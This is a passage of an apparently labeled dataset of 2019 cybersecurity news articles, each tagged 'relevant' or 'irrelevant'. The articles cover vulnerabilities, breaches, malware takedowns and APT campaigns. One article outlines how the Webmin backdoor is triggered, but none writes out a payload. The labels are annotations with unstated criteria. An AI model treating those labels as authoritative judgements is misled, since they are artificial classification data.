traversal attack that could allow malicious documents to execute any script from arbitrary locations on the victim's file system. CVE-2019-9852: Discovered by Nils Emmerich of ERNW Research GmbH, a URL encoding attack could allow attackers to bypass patch for directory traversal attack. By successfully exploiting all these three vulnerabilities, a remote attacker can silently execute malicious commands on a targeted computer by convincing the victim into just opening a maliciously-crafted document file. LibreOffice users are highly recommended to update their office software to the latest patched version 6.2.6/6.3.0 as soon as possible in order to avoid becoming victims to any attack exploiting these vulnerabilities.",relevant
"Magecart Hackers Compromise 80 More eCommerce Sites to Steal Credit Cards Cybersecurity researchers have discovered over 80 Magecart compromised e-commerce websites that were actively sending credit card information of online shoppers to the attackers-controlled servers. Operating their businesses in the United States, Canada, Europe, Latin America, and Asia, many of these compromised websites are reputable brands in the motorsports industry and high fashion, researchers at Aite Group and Arxan Technologies revealed today in a report shared with The Hacker News. In a world that's growing increasingly digital, Magecart attacks have emerged as a key cybersecurity threat to e-commerce websites. Magecart is an umbrella term given to different cybercriminal groups that are specialized in secretly implanting online credit card skimmers on compromised e-commerce websites with an intent to steal payment card details of their customers. These virtual credit card skimmers, also known as formjacking attack, are basically JavaScript code that hackers secretly insert into a compromised website, often on the shopping cart page, designed to capture payment information of customers in real-time and send it to a remote attacker-controlled server. Magecart is in the news a lot lately for conducting several high-profile heists against major companies including British Airways, Ticketmaster, Newegg, and others. Flowchart Magecart Formjacking Attack The newly disclosed campaign doesn't belong to a single group of Magecart hackers; instead, researchers used a source code search engine to search for obfuscated JavaScript on the Internet with malicious patterns that were previously seen in the Magecart's virtual credit card skimmers. According to the researchers, the technique allowed them to quickly uncover more than 80 e-commerce websites compromised by Magecart groups, most of which were found running over outdated versions of Magento CMS that's vulnerable to an unauthenticated upload and remote code execution vulnerabilities. ""The absence of in-app protection, such as code obfuscation and tamper detection, makes web apps vulnerable to a type of cyberattack called formjacking,"" the researchers said. ""Many of the compromised sites are running version 1.5, 1.7, or 1.9. The arbitrary file upload, remote code execution, and cross-site request forgery vulnerabilities all affect Magento version 2.1.6 and below. While it can't be stated authoritatively that this is what led to the breach of these sites, these are vulnerable versions of Magento that allow adversaries to inject the formjacking code into the site."" Though the researchers have not named the compromised companies in its report, they worked with federal law enforcement to notify all affected organizations as well as off-site servers prior to publishing their report. ""Because this is an ongoing and active project, we have decided not to name the victim sites,"" the researchers told The Hacker News. In addition, the researchers also analyzed Magecart's monetization activities and found that besides selling the stolen payment card data on the dark web forums, the attackers also purchase merchandise on legitimate online shopping sites and ship them to pre-selected merchandise mules in an attempt to launder the fraudulent transactions. ""To recruit merchandise mules, the attacker posts jobs that offer people the ability to work from home and earn large sums of money to receive and reship merchandise purchased with the stolen credit card numbers,"" the researchers say. The mules then work with local shippers who receive under-the-table pay to send merchandise to the eastern European destinations, where it is sold to local buyers, eventually profiting attackers as a second line of revenue. The researchers recommend e-commerce websites to, at foremost priority, update or patch their platform software to the latest version that protects them from known exploits. Besides this, e-commerce websites should also implement code obfuscation and white-box cryptography to make the web forms unreadable to the adversary, as well as solutions to detect unauthorized modification of website files. Online shoppers are also advised to regularly review their payment card details and bank statements for any unfamiliar activity. No matter how small unauthorized transaction you notice, you should always report it to your financial institutions immediately.",relevant
"Capital One Hacker Also Accused of Hacking 30 More Companies and CryptoJacking Former Amazon employee Paige Thompson, who was arrested last month in relation to the Capital One data breach, has been accused of hacking not only the U.S. credit card issuer, but also more than 30 other companies. An indictment unsealed on Wednesday revealed that Thompson not just stole data from misconfigured servers hosted with a cloud-computing company, but also used the computing power of hacked servers to mine for cryptocurrency, a practice commonly known as ""Cryptojacking."" Thompson, known online as ""erratic,"" was arrested by the FBI on July 29 concerning a massive breach in Capital One Financial Corp that exposed the personal information of more than 100 million credit card applicants in the United States and 6 million in Canada. The stolen data included approximately 140,000 Social Security numbers and 80,000 bank account numbers linked to United States customers, and 1 million Social Insurance numbers belonged to Canadian citizens, along with some customers' names, addresses, dates of birth, credit scores, credit limits, balances, payment history, and contact information. Law enforcement became aware of Thompson's activity after she posted information relating to her theft of Capital One data on her GitHub account. Paige Thompson Indictment However, a federal grand jury yesterday charged Thompson with a total of two counts—one count of wire fraud and one count of computer fraud and abuse—for illicitly accessing data on more than 30 other entities, including Capital One, U.S. Department of Justice (DOJ) said. While the indictment [PDF] did not name the involved cloud-computing company, it's highly likely to be Amazon as Thompson previously worked for Amazon Web Services, which provides cloud computing services to Capital One among others. But it should also be noted that Amazon Web Services was not compromised in any way since Thompson gained access to the cloud server due to Capital One's misconfiguration and not through a vulnerability in Amazon's infrastructure. The indictment also did not provide names of the other 30 victims, but it did describe three of the targeted organizations as a state agency outside the State of Washington, a telecommunications conglomerate outside the U.S. and a public research university outside the State of Washington. Investigators have found no evidence of Thompson selling or disseminating any of the stolen information. The 33-year-old Seattle-based software engineer remains in custody and is scheduled to be arraigned on the indictment in U.S. District Court in Seattle on September 5. She could face up to 25 years in prison if convicted.",irrelevant
"French Police Remotely Removed RETADUP Malware from 850,000 Infected PCs The French law enforcement agency, National Gendarmerie, today announced the successful takedown of one of the largest wide-spread RETADUP botnet malware and how it remotely disinfected more than 850,000 computers worldwide with the help of researchers. Earlier this year, security researchers at Avast antivirus firm, who were actively monitoring the activities of RETADUP botnet, discovered a design flaw in the malware's C&C protocol that could have been exploited to remove the malware from victims' computer without executing any extra code. However, to do that, the plan required researchers to have control over the malware's C&C server, which was hosted with a hosting provider located in the Ile-de-France region in north-central France. Therefore, the researchers contacted the Cybercrime Fighting Center (C3N) of the French National Gendarmerie at the end of March this year, shared their findings, and proposed a secret plan to put an end to the RETADUP virus and protect victims. According to the proposed plan, the French authorities took control over the RETADUP C&C server in July and replaced it with a prepared disinfection server that abused the design flaw in its protocol and commanded the connected instances of the RETADUP malware on infected computers to self-destruct. ""In the very first second of its activity, several thousand bots connected to it in order to fetch commands from the server. The disinfection server responded to them and disinfected them, abusing the C&C protocol design flaw,"" the researchers explain in a blog post published today. ""At the time of publishing this article, the collaboration has neutralized over 850,000 unique infections of RETADUP."" According to Jean-Dominique Nollet, head of the National Criminal Intelligence Service at Gendarmerie Nationale, the authorities will keep the disinfection server online for a few more months as some infected computers have not yet made a connection with the police controlled C&C server—some have been offline since July while others have network problems. RETADUP Malware The French police also contacted the FBI after finding some parts of the RETADUP's C&C infrastructure in the United States. The FBI then took them down on July 8, leaving the malware authors with no control over the bots. ""Since it was the C&C server's responsibility to give mining jobs to the bots, none of the bots received any new mining jobs to execute after this takedown,"" the researchers say. ""This meant that they could no longer drain the computing power of their victims and that the malware authors no longer received any monetary gain from mining."" Created in 2015 and primarily infected computers throughout Latin America, RETADUP is a multi-functional Windows malware that is capable of mining cryptocurrency using the computing power of infected machines, DDoSing targeted infrastructure utilizing the bandwidth of the victims, and gathering information for espionage. There are several variants of RETADUP, some of which have been either written in Autoit or using AutoHotkey. The malware has been designed to achieve persistence on Windows computers, install additional malware payloads on infected machines and also periodically perform other attempts to spread itself. RETADUP Malware Besides distributing cryptocurrency malware as payload, RETADUP, in some cases, has also been found spreading the Stop ransomware and the Arkei password stealer. ""The C&C server also contained a .NET controller for an AutoIt RAT called HoudRat. Looking at samples of HoudRat, it is clear that HoudRat is just a more feature-rich and less prevalent variant of Retadup,"" the researchers learned after analyzing the seized C&C server. ""HoudRat is capable of executing arbitrary commands, logging keystrokes, taking screenshots, stealing passwords, downloading arbitrary files, and more."" At the time of publishing this article, the authorities have neutralized over 850,000 unique infections of Retadup, with most victims being from Spanish-speaking countries in Latin America.",irrelevant
"Reverse RDP Attack Also Enables Guest-to-Host Escape in Microsoft Hyper-V Remember the Reverse RDP Attack? Earlier this year, researchers disclosed clipboard hijacking and path-traversal issues in Microsoft's Windows built-in RDP client that could allow a malicious RDP server to compromise a client computer, reversely. (You can find details and a video demonstration for this security vulnerability, along with dozens of critical flaws in other third-party RDP clients, in a previous article written by Swati Khandelwal for The Hacker News.) At the time when researchers responsibly reported this path-traversal issue to Microsoft, in October 2018, the company acknowledged the issue, also known as ""Poisoned RDP vulnerability,"" but decided not to address it. Now, it turns out that Microsoft silently patched this vulnerability (CVE-2019-0887) just last month as part of its July Patch Tuesday updates after Eyal Itkin, security researcher at CheckPoint, found the same issue affecting Microsoft's Hyper-V technology as well. Microsoft's Hyper-V is a virtualization technology that comes built-in with Windows operating system, enabling users to run multiple operating systems at the same time as virtual machines. Microsoft's Azure cloud service also uses Hyper-V for server virtualization. reverse rdp attack on windows hyper-v Similar to other virtualization technologies, Hyper-V also comes with a graphical user interface that allows users to manage their local and remote virtual machines (VMs). According to a report CheckPoint researchers shared with The Hacker News, the Enhanced Session Mode in Microsoft's Hyper-V Manager, behind the scenes, uses the same implementation as of Windows Remote Desktop Services to let the host machine connect to a guest virtual machine and share synchronized resources like clipboard data. ""It turns out that RDP is used behind the scenes as the control plane for Hyper-V. Instead of re-implementing screen-sharing, remote keyboard, and a synchronized clipboard, Microsoft decided that all of these features are already implemented as part of RDP, so why not use it in this case as well?"" researchers say. This means, Hyper-V Manager eventually inherits all of the security vulnerabilities reside in Windows RDP, including the clipboard hijacking and path-traversal vulnerabilities that could lead to guest-to-host VM escape attack, ""effectively allowing one to break out of a Virtual Machine and reach the hosting machine, virtually breaking the strongest security mitigation provided by the virtualization environment."" As demonstrated previously, the flaws could allow a malicious or a compromised guest machine to trick the host user into unknowingly saving a malicious file in his/her Windows startup folder, which will automatically get executed every time the system boots. ""A malicious RDP server can send a crafted file transfer clipboard content that will cause a Path-Traversal on the client's machine,"" researchers explain. Unlike previously, this time, Microsoft decided to patch the vulnerability immediately after the researchers disclosed the Hyper-V implications of this flaw, which is now identified as CVE-2019-0887. ""The shared clipboard allows a user to copy a group of files from one computer and paste the said files in another computer. If the client fails to properly canonicalize and sanitize the file paths it receives, it could be vulnerable to a path traversal attack, allowing a malicious RDP server to drop arbitrary files in arbitrary paths on the client machine,"" Microsoft said while explaining the vulnerability in its latest blog post. ""An attacker who successfully exploited this vulnerability could execute arbitrary code on the victim system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights."" The researchers tested and confirmed the patch for the Path-Traversal vulnerability and strongly recommended all users to install the security patch in an attempt to protect their RDP connections as well as their Hyper-V environment.",relevant
"Russian Hacking Group Targeting Banks Worldwide With Evolving Tactics Silence APT, a Russian-speaking cybercriminal group, known for targeting financial organizations primarily in former Soviet states and neighboring countries is now aggressively targeting banks in more than 30 countries across America, Europe, Africa, and Asia. Active since at least September 2016, Silence APT group's most recent successful campaign was against Bangladesh-based Dutch-Bangla Bank, which lost over $3 million during a string of ATM cash withdrawals over a span of several days. According to a new report Singapore-based cybersecurity firm Group-IB shared with The Hacker News, the hacking group has significantly expanded their geography in recent months, increased the frequency of their attack campaigns, as well as enhanced its arsenal. The report also describes the evolution of the Silence hacking group from ""young and highly motivated hackers"" to one of the most sophisticated advanced persistent threat (APT) group that is now posing threats to banks worldwide. Silence APT hacking group has updated their unique TTP (tactics, techniques, and procedures) and changed their encryption alphabets, string encryption, and commands for the bot and the main module to evade detection by security tools. ""In addition, the actor has completely rewritten TrueBot loader, the first-stage module, on which the success of the group's entire attack depends. The hackers also started using Ivoke, a fileless loader, and EDA agent, both written in PowerShell,"" the researchers said. EDA is a PowerShell agent, designed to control compromised systems by performing tasks through the command shell and tunneling traffic using the DNS protocol, and is based on the Empire and dnscat2 projects. hacking groups Just like most hacking groups, Silence gang also relies on spear-phishing emails with macros Docs or exploits, CHM files, and .LNK shortcuts as malicious attachments to initially compromise their victims. Once in a victim organization, the group leverages more sophisticated TTPs and deploy additional malware, either TrueBot or a new fileless PowerShell loader called Ivoke, both designed to collect information about an infected system and send it to an intermediate CnC server. To choose their targets, the group first create an up-to-date ""target list"" of active email addresses by sending ""recon emails,"" which usually contain a picture or a link without a malicious payload. ""These campaigns were no longer focused just on Russia and former Soviet countries but spread across Asia and Europe. Since our last public report, Silence has sent out more than 170,000 recon emails to banks in Russia, the former Soviet Union, Asia, and Europe,"" the report reads. ""In November 2018, Silence tried their hand at targeting the Asian market for the first time in their history. In total, Silence sent out about 80,000 emails, with more than half of them targeting Taiwan, Malaysia, and South Korea."" Featuring Silence APT group's latest campaigns—from May 2018 through 1 August 2019—researchers described the increase in damage from their operations and confirmed that the amount of funds stolen by Silence had increased fivefold since its initial stage, estimating the total loss of $4.2 million. Besides this, Group-IB researchers also suspect that TrueBot (aka Silence.Downloader) and FlawedAmmyy loader have been developed by the same person as both malware were signed with the same digital certificate. phishing emails FlawedAmmyy loader is a remote access Trojan (RAT) associated with TA505, a separate Russian-speaking threat group responsible for many large-scale attacks involving highly targeted email attacks as well as massive, multi-million message campaigns since at least 2014. ""The growing threat posed by Silence and its rapid global expansion prompted us to make both reports publicly available in order to help cyber security specialists detect and correctly attribute Silence's worldwide attacks at an early stage,"" the researchers said. Group-IB researchers did not share the names of the banks targeted by Silence APT but said that the group successfully targeted banks in India (in August 2018), Russia (in February 2019, Russian ""IT Bank""), Kyrgyzstan (in May 2019), Russia (in June 2019), and Chile, Ghana, Costa Rica, and Bulgaria (in July 2019). Group-IB has published more detailed findings about Silence APT in its new report titled, ""Silence 2.0: Going Global."" You can head on to its report for more information.",irrelevant
"Pakistani Man Bribed AT&T Insiders to Plant Malware and Unlock 2 Million Phones United States federal government has charged a Pakistani national for bribing employees at AT&T telecommunication company over a period of five years to help unlock more than 2 million phones and plant malware on the company's network. Muhammad Fahd, a 34-year-old man from Pakistan, was arrested in Hong Kong last year in February at the request of the U.S. government and just extradited to the U.S. on Friday, August 2, 2019. According to an indictment unsealed Monday, Fahd recruited and paid AT&T insiders working at a call center in Bothell, Washington, more than $1 million in bribes between 2012 and 2017 to help them unlock cell phones associated with specified IMEI numbers that otherwise were not eligible to be removed from AT&T's network. Some telecommunication companies, including AT&T, Verizon, T-Mobile, and Sprint, sell flagship phones at discounted prices, but it comes with locked SIMs that prevent users from switching their network service for any other telecommunication service. With his partners in crime at AT&T, Fahd and his co-conspirator Ghulam Jiwani, who is now deceased, ran a successful business where he charged millions of users in return to unlock their devices, enabling them to use a SIM card of any other carrier, domestically or internationally. Fahd also paid AT&T employees bribes for installing malware on the company's internal computers at the Bothell call center which allowed Fahd to gather confidential and proprietary information on how AT&T's computer network and software applications function. Apparently using that malware and credentials of his co-conspirator at AT&T, Fahd was able to automatically process unauthorized unlock requests for any cell phone from a remote location. ""After some of the co-conspirators were terminated by AT&T, the remaining co-conspirator employees aided Fahd in developing and installing additional tools that would allow Fahd to use the AT&T computers to unlock cell phones from a remote location,"" Justice of Department said. ""So far, three of those co-conspirators have pleaded guilty admitting they were paid thousands of dollars for facilitating Fahd's fraudulent scheme."" Later when Fahd was not able to remotely control its malware, he again bribed AT&T employees to install computer hardware devices, including wireless access points, that helped him gain access to AT&T internal network and continue unlocking phones remotely. In total, Fahd paid more than $1 million in bribe to AT&T employees, with one employee receiving $428,500 over the five-year scheme, which they receive in their bank accounts or business banking accounts in the name of shell companies created for receiving payments. The suspect contacted the AT&T employees over the phone, Facebook, or other communication channels and instructed them to obtain prepaid cell phones and anonymous email accounts to communicate with him. Fahd is charged with a total of 14 counts, which include one count for committing wire fraud, one to violate the Travel Act and the Computer Fraud and Abuse Act, four counts of wire fraud, two counts of accessing a protected computer in furtherance of fraud, two counts of intentional damage to a protected computer, and four counts of violating the Travel Act. ""This defendant thought he could safely run his bribery and hacking scheme from overseas, making millions of dollars while he induced young workers to choose greed over ethical conduct. Now he will be held accountable for the fraud and the lives he has derailed,"" U.S. Attorney Brian T. Moran said. The suspect is facing up to 20 years in prison.",irrelevant
"SWAPGS Attack — New Speculative Execution Flaw Affects All Modern Intel CPUs A new variant of the Spectre (Variant 1) side-channel vulnerability has been discovered that affects all modern Intel CPUs, and probably some AMD processors as well, which leverage speculative execution for high performance, Microsoft and Red Hat warned. Identified as CVE-2019-1125, the vulnerability could allow unprivileged local attackers to access sensitive information stored in the operating system privileged kernel memory, including passwords, tokens, and encryption keys, that would otherwise be inaccessible. Speculative execution is a core component of modern microprocessor design that speculatively executes instructions based on assumptions that are considered likely to be true. If the assumptions come out to be valid, the execution continues, otherwise discarded. Such speculative executions also have side effects that are not restored when the CPU state is unwound, leading to information disclosure, which can then be accessed using side-channel attacks. Microsoft silently issued patches for the new speculative execution vulnerability in its July 2019 Patch Tuesday security update which was discovered and responsibly disclosed by researchers at security firm Bitdefender. According to a security advisory released today by Red Hat, the attack relies on speculatively executing unexpected SWAPGS instructions after a branch gets mispredicted. SWAPGS instruction is a privileged system instruction that swaps the values in the GS register with the MSR values and is only available on devices with x86-64 architecture. ""This is achieved by abusing the fact that SWAPGS instruction can be executed speculatively. An attacker can force arbitrary memory dereferences in kernel, which leaves traces within the data caches. These signals can be picked-up by the attacker to infer the value located at the given kernel address."" researchers at Bitdefender say. The SWAPGS attack breaks the Kernel Page-Table Isolation (KPTI) provided by modern CPUs and can be used to leak sensitive kernel memory from unprivileged user mode, Intel acknowledged. ""It is possible that these conditional branches in the Linux kernel entry code may mis-speculate into code that will not perform the SWAPGS, resulting in a window of speculative execution during which the wrong GS is used for dependent memory operations,"" RedHat says in its advisory. According to Bitdefender researchers, the new attack bypasses all known mitigations implemented after the discovery of Spectre and Meltdown vulnerabilities in early 2018 that put practically every computer in the world at risk. Though the Linux kernel also contains a gadget which may be exploited to target Linux systems in an attack, researchers believe exploiting Linux operating systems could slightly be tougher than Windows computers. Since the attack can not be launched remotely, it is unlikely to cause mass malware infections, like EternalBlue was used for WannaCry; instead, it can be exploited as part of an extremely targeted attack. Affected users can address this issue through a software update for their operating systems that would mitigate how the CPU speculatively accesses memory. Meanwhile, Google has also prepared a patch to fix this vulnerability in its ChromeOS 4.19 with a soon-to-be-released update, describing the flaw as: ""An attacker can train the branch predictor to speculatively skip the swapgs path for an interrupt or exception. If they initialize the GS register to a user-space value, if the swapgs is speculatively skipped, subsequent GS-related percpu accesses in the speculation window will be done with the attacker-controlled GS value. This could cause privileged memory to be accessed and leaked."" In a statement AMD said: ""Based on external and internal analysis, AMD believes it is not vulnerable to the SWAPGS variant attacks because AMD products are designed not to speculate on the new GS value following a speculative SWAPGS. For the attack that is not a SWAPGS variant, the mitigation is to implement our existing recommendations for Spectre variant 1.""",relevant
"Hostinger Suffers Data Breach – Resets Password For 14 Million Users Popular web hosting provider Hostinger has been hit by a massive data breach, as a result of which the company has reset passwords for all customers as a precautionary measure. In a blog post published on Sunday, Hostinger revealed that ""an unauthorized third party"" breached one of its servers and gained access to ""hashed passwords and other non-financial data"" associated with its millions of customers. The incident occurred on August 23 when unknown hackers found an authorization token on one of the company's servers and used it to gain access to an internal system API, without requiring any username and password. Immediately after the breach discovery, Hostinger restricted the vulnerable system, making this access no longer available, and contacted the respective authorities. ""On August 23rd, 2019 we have received informational alerts that one of our servers has been accessed by an unauthorized third party,"" Hostinger said. ""This server contained an authorization token, which was used to obtain further access and escalate privileges to our system RESTful API Server*. This API Server* is used to query the details about our clients and their accounts."" The API database hosts personal information of nearly 14 million Hostinger customers, including their usernames, emails, hashed passwords, first names, and IP addresses, which have been accessed by hackers. Breach Affects Over Half of Hostinger's User Base The company has over 29 million users, so the data breach affected over half of its complete user base. However, it should be noted that the company used the weak SHA-1 hashing algorithm to scramble the Hostinger client passwords, making it easier for hackers to crack the passwords. As a precautionary measure, the company has reset all Hostinger Client login passwords using the stronger SHA-2 algorithm and sent out emails password recovery emails to the affected consumers. Also, the company doesn't currently offer two-factor authentication (2FA) for its customers' accounts, though it says it is planning to provide this additional layer of security in the near future. Hostinger reassured its customers that no financial data is believed to have been accessed as the company never stores any payment card or other sensitive financial data on its servers, adding that third-party payment providers handle payments for its services. Furthermore, the company has also assured that a thorough internal investigation found that the Hostinger Client accounts and data stored on those accounts, including websites, domains, and hosted emails, remained untouched and unaffected. The investigation into the matter is still ongoing, and a team of internal and external forensics experts and data scientists has been assembled to discover the origin of the data breach and increase security measures of all the company's operations. Following the password reset, the company is also urging its customers to set a strong and unique password for their Hostinger accounts and to be cautious of suspicious emails asking them to click on the links or download attachments, as well as any unsolicited communications asking for login details, or other personal information. Customers who want to delete their details from Hostinger servers under GDPR rules should contact gdpr@hostinger.com.",relevant
"Hackers Planted Backdoor in Webmin, Popular Utility for Linux/Unix Servers Following the public disclosure of a critical zero-day vulnerability in Webmin last week, the project's maintainers today revealed that the flaw was not actually the result of a coding mistake made by the programmers. Instead, it was secretly planted by an unknown hacker who successfully managed to inject a backdoor at some point in its build infrastructure—that surprisingly persisted into various releases of Webmin (1.882 through 1.921) and eventually remained hidden for over a year. With over 3 million downloads per year, Webmin is one of the world's most popular open-source web-based applications for managing Unix-based systems, such as Linux, FreeBSD, or OpenBSD servers. Webmin offers a simple user interface (UI) to manage users and groups, databases, BIND, Apache, Postfix, Sendmail, QMail, backups, firewalls, monitoring and alerts, and much more. The story started when Turkish researcher Özkan Mustafa Akkuş publicly presented a zero-day remote code execution vulnerability in the Webmin at DefCon on August 10, without giving any advance notice to the affected project maintainers. ""We received no advance notification of it, which is unusual and unethical on the part of the researcher who discovered it. But, in such cases there's nothing we can do but fix it ASAP,"" said Joe Cooper, one of the project's developers. Besides revealing the flaw to the public, Akkuş also released a Metasploit module for this vulnerability that aims to automate the exploitation using the Metasploit framework. webmin The vulnerability, tracked as CVE-2019-15107, was introduced in a security feature that has been designed to let Webmin administrator enforce a password expiration policy for other users' accounts. According to the researcher, the security flaw resides in the password reset page and allows a remote, unauthenticated attacker to execute arbitrary commands with root privileges on affected servers just by adding a simple pipe command (""|"") in the old password field through POST requests. In a blog post published today, Cooper said that the team is still investigating how and when the backdoor was introduced, but confirmed that the official Webmin downloads were replaced by the backdoored packages only on the project's SourceForge repository, and not on the Webmin's GitHub repositories. Cooper also stressed that the affected password expiration feature doesn't come enabled by default for Webmin accounts, which means that most versions are not vulnerable in their default configuration, and the flaw only affects Webmin admins who have manually enabled this feature. ""To exploit the malicious code, your Webmin installation must have Webmin → Webmin Configuration → Authentication → Password expiry policy set to Prompt users with expired passwords to enter a new one. This option is not set by default, but if it is set, it allows remote code execution,"" Cooper said. However, another security researcher on Twitter later revealed that Webmin version 1.890 is affected in the default configuration, as the hackers appear to have modified the source code to enable password expiration feature by default for all Webmin users. webmin exploit hacking These unusual changes in the Webmin source code were red-flagged by an administrator late last year, but surprisingly, Webmin developers never suspected that it was not their mistake, but the code was actually modified by someone else intentionally. According to a Shodan search, Webmin has more than 218,000 Internet-exposed instances available at the time of writing, mostly located in the United States, France, and Germany—of which over 13,000 instances are running vulnerable Webmin version 1.890. shodan webmin Webmin developers have now removed the malicious backdoor in its software to address the vulnerability and released the clean versions, Webmin 1.930 and Usermin version 1.780. The latest Webmin and Usermin releases also address a handful of cross-site scripting (XSS) vulnerabilities that were responsibly disclosed by a different security researcher who has been rewarded with a bounty. So, Webmin administrators are strongly recommended to update their packages as soon as possible.",relevant
"Over 40 Drivers Could Let Hackers Install Persistent Backdoor On Windows PCs If you own a device, or a hardware component, manufactured by ASUS, Toshiba, Intel, NVIDIA, Huawei, or other 15 other vendors listed below, you're probably screwed. A team of security researchers has discovered high-risk security vulnerabilities in more than 40 drivers from at least 20 different vendors that could allow attackers to gain most privileged permission on the system and hide malware in a way that remains undetected over time, sometimes for years. For sophisticated attackers, maintaining persistence after compromising a system is one of the most important tasks, and to achieve this, existing hardware vulnerabilities sometimes play an important role. One such component is a device driver, commonly known as a driver or hardware driver, a software program that controls a particular type of hardware device, helping it to communicate with the computer's operating system properly. Since device drivers sit between the hardware and the operating system itself and in most cases have privileged access to the OS kernel, a security weakness in this component can lead to code execution at the kernel layer. This privilege escalation attack can move an attacker from user mode (Ring 3) to OS kernel-mode (Ring 0), as shown in the image, allowing them to install a persistent backdoor in the system that a user would probably never realize. windows driver hacking Discovered by researchers at the firmware and hardware security firm Eclypsium, some of the new vulnerabilities could allow arbitrary read/write of kernel memory, model-specific registers (MSRs), Control Registers (CR), Debug Registers (DR), and physical memory. ""All these vulnerabilities allow the driver to act as a proxy to perform highly privileged access to the hardware resources, which could allow attackers to turn the very tools used to manage a system into powerful threats that can escalate privileges and persist invisibly on the host,"" the researchers explain in their report titled 'Screwed Drivers.' ""Access to the kernel can not only give an attacker the most privileged access available to the operating system, it can also grant access to the hardware and firmware interfaces with even higher privileges such as the system BIOS firmware."" Since malware running in the user space can simply scan for a vulnerable driver on the victim machine to compromise it, attackers don't have to install their own vulnerable driver, installing which otherwise requires system administrator privileges. All the vulnerable drivers, as listed below, uncovered by the researchers, have been certified by Microsoft. American Megatrends International (AMI) ASRock ASUSTeK Computer ATI Technologies (AMD) Biostar EVGA Getac GIGABYTE Huawei Insyde Intel Micro-Star International (MSI) NVIDIA Phoenix Technologies Realtek Semiconductor SuperMicro Toshiba The list also includes three more hardware vendors which researchers did not name yet, as they are ""still under embargo due to their work in highly regulated environments and will take longer to have a fix certified and ready to deploy to customers."" ""Some vulnerable drivers interact with graphics cards, network adapters, hard drives, and other devices,"" researchers explain. ""Persistent malware inside these devices could read, write, or redirect data stored, displayed, or sent over the network. Likewise, any of the components could be disabled as part of a DoS or ransomware attack."" Device driver flaws can be more dangerous than other application vulnerabilities because it allows an attacker access to the ""negative"" firmware rings that lie beneath the operating system and maintain persistence on the device, even if the operating system is completely reinstalled, just like in case of LoJax malware. Researchers have reported these vulnerabilities to the affected vendors, of which some, including Intel and Huawei, have already released patch updates and issued a security advisory. Besides this, researchers have also promised to soon release a script on GitHub that would help users find wormhole drivers installed on their systems, along with proof-of-concept code, video demonstrations, and links to vulnerable drivers and tools.",relevant
"4 New BlueKeep-like 'Wormable' Windows Remote Desktop Flaws Discovered If you are using any supported version of the Windows operating system, stop everything and install the latest security updates from Microsoft immediately. Windows operating system contains four new critical wormable, remote code execution vulnerabilities in Remote Desktop Services, similar to the recently patched 'BlueKeep' RDP vulnerability. Discovered by Microsoft's security team itself, all four vulnerabilities, CVE-2019-1181, CVE-2019-1182, CVE-2019-1222, and CVE-2019-1226, can be exploited by unauthenticated, remote attackers to take control of an affected computer system without requiring any user interaction. Just like BlueKeep RDP flaw, all four newly discovered vulnerabilities are also wormable and could be exploited by potential malware to propagate itself from one vulnerable computer to another automatically. ""An attacker can get code execution at the system level by sending a specially crafted pre-authentication RDP packet to an affected RDS server,"" Microsoft warned. ""The affected versions of Windows are Windows 7 SP1, Windows Server 2008 R2 SP1, Windows Server 2012, Windows 8.1, Windows Server 2012 R2, and all supported versions of Windows 10, including server versions."" Though the first two vulnerabilities affect all supported versions of the Windows operating system, the second set of flaws (1222 and 1226) only affects Windows 10 and Windows Server Editions. The new vulnerabilities neither affect Windows XP, Windows Server 2003, and Windows Server 2008 nor affect Remote Desktop Protocol (RDP) itself that Microsoft developed for the Remote Desktop Services. Instead, the vulnerabilities reside in Remote Desktop Services—formerly known as Terminal Services—could be exploited by unauthenticated, remote attackers by sending specially crafted requests over RDP protocol to a targeted system. Besides this, Microsoft also says that the company has found ""no evidence that these vulnerabilities were known to any third party,"" or being exploited in the wild. ""It is important that affected systems are patched as quickly as possible because of the elevated risks associated with wormable vulnerabilities like these,"" Microsoft strongly recommended. If left unpatched, these security vulnerabilities could allow attackers to spread wormable malware in a similar way as the infamous WannaCry and NotPetya malware was spread across the globe in 2017. Microsoft August 2019 Patch Tuesday Updates Besides these four critical security flaws, Microsoft has also patched 89 vulnerabilities as part of the company's monthly batch of software security updates for August, 25 of which are rated critical and 64 important in severity. The August 2019 Patch Tuesday security updates include patches for various supported versions of Windows and other Microsoft products, including Internet Explorer, Edge, Office, ChakraCore, Visual Studio, Online Services, and Active Directory Microsoft Dynamics. All critical vulnerabilities listed this month impact various versions of Windows 10 operating system and Server editions and mostly reside in Chakra Scripting Engine, with some also reside in Windows Graphics Device Interface (GDI), Word, Outlook, Hyper-V, and VBScript Engine, LNK, and Windows DHCP Server. Some important-rated vulnerabilities also lead to remote code execution attacks, while the majority of them allow elevation of privilege, denial of service, information disclosure, security bypass, spoofing, tampering, and cross-site scripting attacks. Users and system administrators are highly recommended to apply the latest security patches as soon as possible to keep cybercriminals and hackers away from taking control of their computers. For installing the latest security updates, you can head on to Settings → Update & Security → Windows Update → Check for updates on your computer, or you can install the updates manually.",relevant
"How Activity Logs Help WordPress Admins Better Manage Website Security Managing a WordPress website can sap a lot of your time and energy, which otherwise you'd spend on managing your business. If you're looking to cut down on the hours, you spend troubleshooting WordPress technical and security problems, better managing and monitoring your website and users, or your customers, you need a WordPress activity log plugin. This post explains how to use the WP Security Audit Log plugin to keep a WordPress security audit log (aka activity log). It also highlights five ways an activity log helps you better manage your website and users and improve its security. WordPress Security Audit Logs - Introduction and Benefits An activity log is a record of everything that happens on your WordPress website. This includes a record of plugins, themes, and WordPress core changes, users activity (such as content changes), site settings changes, break-in attempts, WooCommerce store, and product changes, and everything else that happens on your website. WordPress does not have any built-in logging mechanisms. So the best way to keep a security audit log on your website is to install the WP Security Audit Log plugin. It is the most comprehensive activity log/audit trail plugin with the broadest coverage. The benefits of keeping an activity log on WordPress WordPress site administrators enjoy a lot of benefits when they keep an activity log. To mention a few, with activity logs you can: Ease troubleshooting, as you can pin down the source of the problem quickly, Know exactly what is happening on your site and take full control of it, Improve user accountability and productivity, Meet mandatory regulatory compliance requirements, Learn how attackers are trying to break into your website, allowing to improve its security, Set up an intrusion detection system (IDS) to be instantly alerted via SMS or emails of critical site changes or problems, and much more! How activity logs help you better manage your WordPress site and users 1. Know who is logged into your site and what they are doing WordPress is a multi-user web application. So it is imperative to know from where users are logging in, when, and what they are doing. This is a must, especially when running a remote team and also for the security of your website. Since WP Security Audit Log keeps a log of everything, this information is close to hand: wordpress activity logs For those who manage large, multi-author sites, WP Security Audit Log can also show who is logged in to the website and their latest change, in real-time. wordpress audit log plugin With so much information at your fingertip, you'll be able to manage your team and website better. You'll also be able to easily spot suspicious behavior, login 